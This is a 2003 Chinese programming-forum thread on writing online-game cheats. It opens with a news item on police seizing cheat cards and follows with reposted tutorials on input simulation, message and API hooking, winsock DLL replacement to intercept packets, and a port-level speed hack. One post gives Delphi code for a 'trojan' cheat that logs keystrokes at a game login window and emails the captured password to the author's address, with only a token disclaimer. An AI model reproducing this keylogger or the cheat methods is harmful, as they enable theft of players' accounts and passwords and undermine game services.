    5月初,厂商向哈尔滨市公安局经侦大队七大队报了案。大队长王连任、副大队长李志新获悉,南岗区一电子大世界商场内的青浪软件公司有销售非法软件外挂的嫌疑。5月28日13时,侦查员宋宝春、霍强在该电子大世界商场东区的青浪软件公司发现,其门厅前醒目地打着“便宜外挂”的广告单。业主称,她可以向省内经营游戏软件的经销商提供代理,多买还可八折优惠。侦查员将业主带回审查并当场没收了其非法销售的外挂卡。  
   
    经审,业主交代,外挂卡是通过某计算机网站购买的,业主将购卡款直接汇到对方的银行卡上,对方则按时将外挂卡用特快专递发运到哈尔滨市。双方所有的交易都是在网上进行。  
   
    据警方介绍,销售外挂软件是新型网络犯罪中的一种。目前,此案正在进一步审理中。  
   
  --------------------------------------------------------------------------------  
   
          从某些人的口德中就能看出他们真的是想学点东西,比如说人话什么的……  
   
          举个例子   ,写黄书也不犯法,是不是就是个学法的过程?可笑~~~作X子还想立牌坊!Top

42 楼chinagdh(编程爱好)回复于 2003-08-24 18:23:05 得分 0

通过全部检阅来看,以及某些人的言行举止都不配做技术研究者。  
  没有个诚实谦虚的态度,没有个良好的品德,这种人学了技术也是用来干坏事的。  
  还有,前面对黑客的解释不知道你们有没有看,那不是没有良好品德的人做的,在中国有点象大侠的感觉,我绝不做那种傻事,教你等于看不起你,如果你真的行,就自己去研究吧,到时侯把整个地球都破坏了也没人拦得住你。Top

43 楼chaosopp(A.I.)回复于 2003-08-24 22:41:28 得分 0

还是说说吧!  
  有个wfpe的网络抓包工具可以去研究一下  
  加密解密去看看,因为数据包是加密的  
  汇编要看  
  可以作为研究,挺由意思的,但不要用啊!  
  Top

44 楼chaosopp(A.I.)回复于 2003-08-24 22:46:27 得分 0

mu的外挂比较难  
  石器的简单点  
  现在外挂基本是bot比较多,利用bug改的不多!Top

45 楼Icykorpio(冰蝎)回复于 2003-08-25 00:46:17 得分 0

别的不说,单是在游戏里面弹出一个窗口你都得研究它10天半月,还不一定行.  
  =====================================  
   
  晕,你这话就太夸张了,弹出一个窗口是几分钟的事情,挂钩标准DLL之后找到游戏主窗口建立子窗口,然后show就可以show出来了。Top

46 楼Icykorpio(冰蝎)回复于 2003-08-25 00:47:35 得分 0

要在其他游戏弹出窗口基本都是这样做的Top

47 楼mme(dog)回复于 2003-09-02 00:30:13 得分 0

呵呵,那你试试用几分钟做一个在mu里面弹出来,并且可以在上面用鼠标操作而且不影响游戏运行,试试看.你试过再说.行的话,算你厉害,嘿嘿!  
  其他的我这样做都可以,就是mu的不可以.气死我了.Top

48 楼sybsyb(苏永邦)回复于 2003-09-02 11:40:15 得分 0

呵呵,楼上的问题,只能直接改代码了.Top

49 楼yinjintao(thinking in money)回复于 2003-09-02 14:20:28 得分 0

mu的外挂很占内存的说Top

50 楼dizzy(dizzy)回复于 2003-09-03 21:21:05 得分 0

呼吁公开外挂源代码!  
  救救那些苦命的孩子吧.  
  http://expert.csdn.net/Expert/topic/2220/2220758.xml?temp=2.862185E-02Top

51 楼atol(流星)回复于 2003-09-03 22:43:35 得分 0

关注!关注!!Top

52 楼o1n(小毛子)回复于 2003-09-04 22:43:12 得分 0

游戏外挂分析         kathywp(原作)    
       
  关键字           游戏,外挂    
       
   
   
  外挂分析  
   
  我主要对外挂的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,我也没有那么厉害,所有的都知道,呵呵!  
  1   首先游戏外挂的原理  
  外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)  
        修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到的方法都作一个介绍,希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术.  
  我见到一片文章是讲魔力宝贝的理论分析,写的不错,大概是那个样子.  
  下来我就讲解一下技术方面的东西,以作引玉之用  
  2   技术分析部分  
  1   模拟键盘或鼠标的响应  
      我们一般使用UINT   SendInput(  
      UINT   nInputs,           //   count   of   input   events  
      LPINPUT   pInputs,     //   array   of   input   events  
      int   cbSize                 //   size   of   structure  
  );api函数  
  第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应事件,这个自己填充就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵  
  注意:这个函数还有个替代函数:    
  VOID   keybd_event(  
      BYTE   bVk,                               //   虚拟键码  
      BYTE   bScan,                           //   扫描码  
      DWORD   dwFlags,                      
      ULONG_PTR   dwExtraInfo       //   附加键状态  
  );和  
  VOID   mouse_event(  
      DWORD   dwFlags,                   //   motion   and   click   options  
      DWORD   dx,                             //   horizontal   position   or   change  
      DWORD   dy,                             //   vertical   position   or   change  
      DWORD   dwData,                     //   wheel   movement  
      ULONG_PTR   dwExtraInfo     //   application-defined   information  
  );  
  这两个函数非常简单了,我想那些按键精灵就是用的这个吧,呵呵,上面的是模拟键盘,下面的是模拟鼠标的.  
  这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找制定的窗口(注意还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按钮,等什么东西.当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法.有的游戏没有控件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了.这就需要我们用别的办法来辅助分析了.  
  至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单,大家可能都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而且现在网上的例子多如牛毛,这个实现在外挂中已经很普遍了.如果还有谁不明白,那就去看看msdn查找SetWindowHook就可以了.  
   
  这个动态连接库的作用很大,不要低估了哦,它可以切入所有的进程空间,也就是可以加载到所有的游戏里面哦,只要用对,你会发现很有用途的!  
  这个需要你复习一下win32编程的基础知识了,呵呵,赶快去看书吧!  
   
  2截获消息  
      有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西,这个时候你就可以用拦截消息来实现一些有趣的功能了.  
  我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧,其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的.  
  至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵,后果嘛,不一定是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试看吧!用途还有很多,自己想也可以想出来的,呵呵!  
   
  3拦截socket包  
  这个技术难度要比原来的高很多哦,要有思想准备.  
  首先我们要替换winSock.dll或者winsock32.dll,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的winSock32.dll里面的函数就可以了  
  首先:我们可以替换动态库到系统路径  
  其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary  
  然后定位函数入口用GetProcAddress函数获得每个真正socket函数的入口地址  
  当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据.呵呵!  
  兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,呵呵!还早呢,等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封号,呵呵,呜~~~~~~~~我就被封了好多啊!  
  分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写外挂的人都是亡命之徒啊,被人娱乐了还不知道,呵呵!(声明我可没有赚钱,我是免费的)  
  好了,给大家一个不错的起点,这里有完整的替换socket源代码,呵呵!  
  http://www.vchelp.net/vchelp/zsrc/wsock32_sub.zip  
     
    4截获api  
  上面的技术如果可以灵活运用的话我们就不用截获api函数了,其实这种技术是一种补充技术.比如我们需要截获socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们也可以用它直接拦截在socket中的函数,这样更直接.  
  现在拦截api的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截的,这个方法可以用到任何一种操作系统上,比如98/2000等,有些方法不是跨平台的,我不建议使用.这个技术大家可以参考windows核心编程里面的545页开始的内容来学习,如果是98系统可以用window系统奥秘那个最后一章来学习.  
  好了方法就是这么多了,看大家怎么运用了,其它的一些针对性的技巧这里我就不说了,要不然会有人杀了我的,呵呵!  
   
  记住每个游戏的修改方法都不一样,如果某个游戏数据处理全部在服务器端,那么你还是别写外挂了,呵呵,最多写个自动走路的外挂,哈哈!  
  数据分析的时候大家一定要注意,不要轻易尝试和服务器的连接,因为那有很危险,切忌!等你掌握了大量的数据分析结果以后,比较有把握了在试试,看看你的运气好不好,很有可能会成功的哦,呵呵!  
  其实像网金也疯狂的那种模拟客户端的程序也是不错的,很适合office的人用,就看大家产品定位了.  
  好了不说了,大家努力吧!切忌不要被游戏厂商招安哦,那样有损我们的形象,我们是为了让游戏做的更好而开发的,也不愿意打乱游戏的平衡,哎,好像现在不是这样了!不说了随其自然吧!  
   
     
  Top

53 楼o1n(小毛子)回复于 2003-09-04 22:49:42 得分 0

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。  
          在做程序之前我们必需要了解一下程序的思路:  
          1、我们首先知道你想记录游戏的登录窗口名称。  
          2、判断登录窗口是否出现。  
          3、如果登录窗口出现,就记录键盘。  
          4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。  
          第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:  
          那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:  
          HWND   FindWindow(  
   
              LPCTSTR   lpClassName,   //   pointer   to   class   name  
              LPCTSTR   lpWindowName     //   pointer   to   window   name  
            );  
          实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。  
          先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:  
  HHOOK   SetWindowsHookEx(  
   
          int   idHook,   //   type   of   hook   to   install  
          HOOKPROC   lpfn,   //   address   of   hook   procedure  
          HINSTANCE   hMod,   //   handle   of   application   instance  
          DWORD   dwThreadId     //   identity   of   thread   to   install   hook   for    
        );    
          在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:  
  hHook   :=   SetWindowsHookEx(WH_JOURNALRECORD,   HookProc,   HInstance,   0);    
          而HOOKPROC里的函数就要复杂一点点:  
  function   HookProc(iCode:   integer;   wParam:   wParam;   lParam:   lParam):   LResult;   stdcall;    
  begin    
    if   findedtitle   then       file://如/果发现窗口后  
    begin    
      if   (peventmsg(lparam)^.message   =   WM_KEYDOWN)   then     file://消/息等于键盘按下  
        hookkey   :=   hookkey   +   Form1.Keyhookresult(peventMsg(lparam)^.paramL,   peventmsg(lparam)^.paramH);   file://通/过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。  
      if   length(hookkey)   >   0   then     file://如/果获得按键名称  
      begin    
        Write(hookkeyFile,hookkey);   file://把/按键名称写入文本文件  
        hookkey   :=   '';    
      end;    
    end;    
  end;    
          以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。  
          我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:  
        assignfile(ReadFile,'hook.txt');   file://打/开hook.txt这个文本文件  
        reset(ReadFile);   file://设/为读取方式  
        try    
          While   not   Eof(ReadFile)   do   file://当/没有读到文件尾  
          begin    
            Readln(ReadFile,s,j);   file://读/取文件行  
            body:=body+s;    
          end;    
        finally    
          closefile(ReadFile);   file://关/闭文件  
        end;    
        nmsmtp1.EncodeType:=uuMime;   file://设/置编码  
        nmsmtp1.PostMessage.Attachments.Text:='';   file://设/置附件  
        nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com';   file://设/置源邮件地址  
        nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com';   /设置目标邮件地址  
        nmsmtp1.PostMessage.Body.Text:='密码'+'   '+body;   file://设/置邮件内容  
        nmsmtp1.PostMessage.Subject:='password';   file://设/置邮件标题  
        nmsmtp1.SendMail;   file://发/送邮件  
          这个程序全部功能已经实现,编编试试~~~对了,我以前写的类似的作品可以在http://www.playicq.com/上找得到。  
          (其实做一个这样的东东也不难,基本也是说不上什么技术可言。希望大看我的文章后不要到处乱应用呀~~~~小生在此有礼了~~~)  
   
  Top

54 楼o1n(小毛子)回复于 2003-09-04 22:50:29 得分 0

我的文章名字没有叫《网络游戏外挂制作之我所见(6)》是因为本文六以后研究的方向就是网络数据封包的内容了,而本文将要介绍的是windows   2000/Xp下实现加速形外挂的制作。  
  在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。  
  1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org/  
  2、我们要把里面的prottalk.sys拷贝出来。  
  3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)  
  4、实现加速外挂。  
  本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。  
  1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。  
  2、我们在我们新建的工程加入我们的接口文件  
      uses  
          windows,ProtTalk……  
  3、我们建立一个过程  
  procedure   SetRing(value:word);    
  begin  
      if   not   OpenPortTalk   then   exit;  
      outportb($43,$34);  
      outportb($40,lo(Value));  
      outprotb($40,hi(value));  
      ClosePortTalk;  
  end;  
   
  4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:  
   
  SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));  
   
  就这么容易,win2000的也就写出来了,我最近真的很忙,请大家耐心等待~~~~谢谢大家支持ing。  
  Top

55 楼ilao(圣刀者)回复于 2003-09-13 15:47:38 得分 0

加油Top

56 楼maxsuy(魔法兔子)回复于 2003-09-16 00:49:22 得分 0

ttTop

57 楼hotyoung(风间月)回复于 2003-09-16 08:58:48 得分 0

如果真的想做游戏网游戏的外挂就必须对游戏的数据结构了解。就算网游是明文传送的,这样的数据包被你截获了,你也很难知道每个成员的代表的意义。  
  如果游戏开发商再对数据进行加密,我靠,跟本不知道是怎么一回事了,那就如何来谈外挂的制作啊。  
  我想游戏外挂多数都是由游戏开发人员漏出来的。  
  但现在有那么多MU外挂,看来中国的高人不真多了。  
  其中我觉得《奇迹之王》算是最汗的一个外挂了,别的功能(全屏攻击、超强魔法等)就不说了,最让我敬仰的就是:本来游戏是不可以变换视点的,但用了外挂确可以360度旋转,还可以从顶视图观看,我晕(这帮开发人也太历害了)。  
  你说这不是内部人做的还能是谁做的啊?Top

相关问题

  • 如何编写游戏外挂?
  • 请教:关于编写外挂一类软件
  • 如何编写游戏外挂?急!!!!!200分回报!!!我给您磕头了!!
  • 如何编写
  • 编写DLL
  • 编写lotusscript
  • 关于写游戏外挂!!!!!!!!!!!!!!!!!
  • 关于编写Plugin
  • JSP编写工具.
  • 编写头文件?

关键词

  • .net
  • win2000
  • 违法
  • 技术
  • 游戏
  • 函数
  • 键盘
  • 源码
  • 文件
  • 网络游戏

得分解答快速导航

  • 帖主:nsfizz

相关链接

  • CSDN Blog
  • 技术文档
  • 代码下载
  • 第二书店
  • 读书频道

广告也精彩

反馈

请通过下述方式给我们反馈
反馈
提问
网站简介|广告服务|VIP资费标准|银行汇款帐号|网站地图|帮助|联系方式|诚聘英才|English|问题报告
世纪乐知(北京)网络技术有限公司 版权所有, 京 ICP 证 020026 号
北京创新乐知广告有限公司 提供技术支持
Copyright © 2000-2007, CSDN.NET, All Rights Reserved
GongshangLogo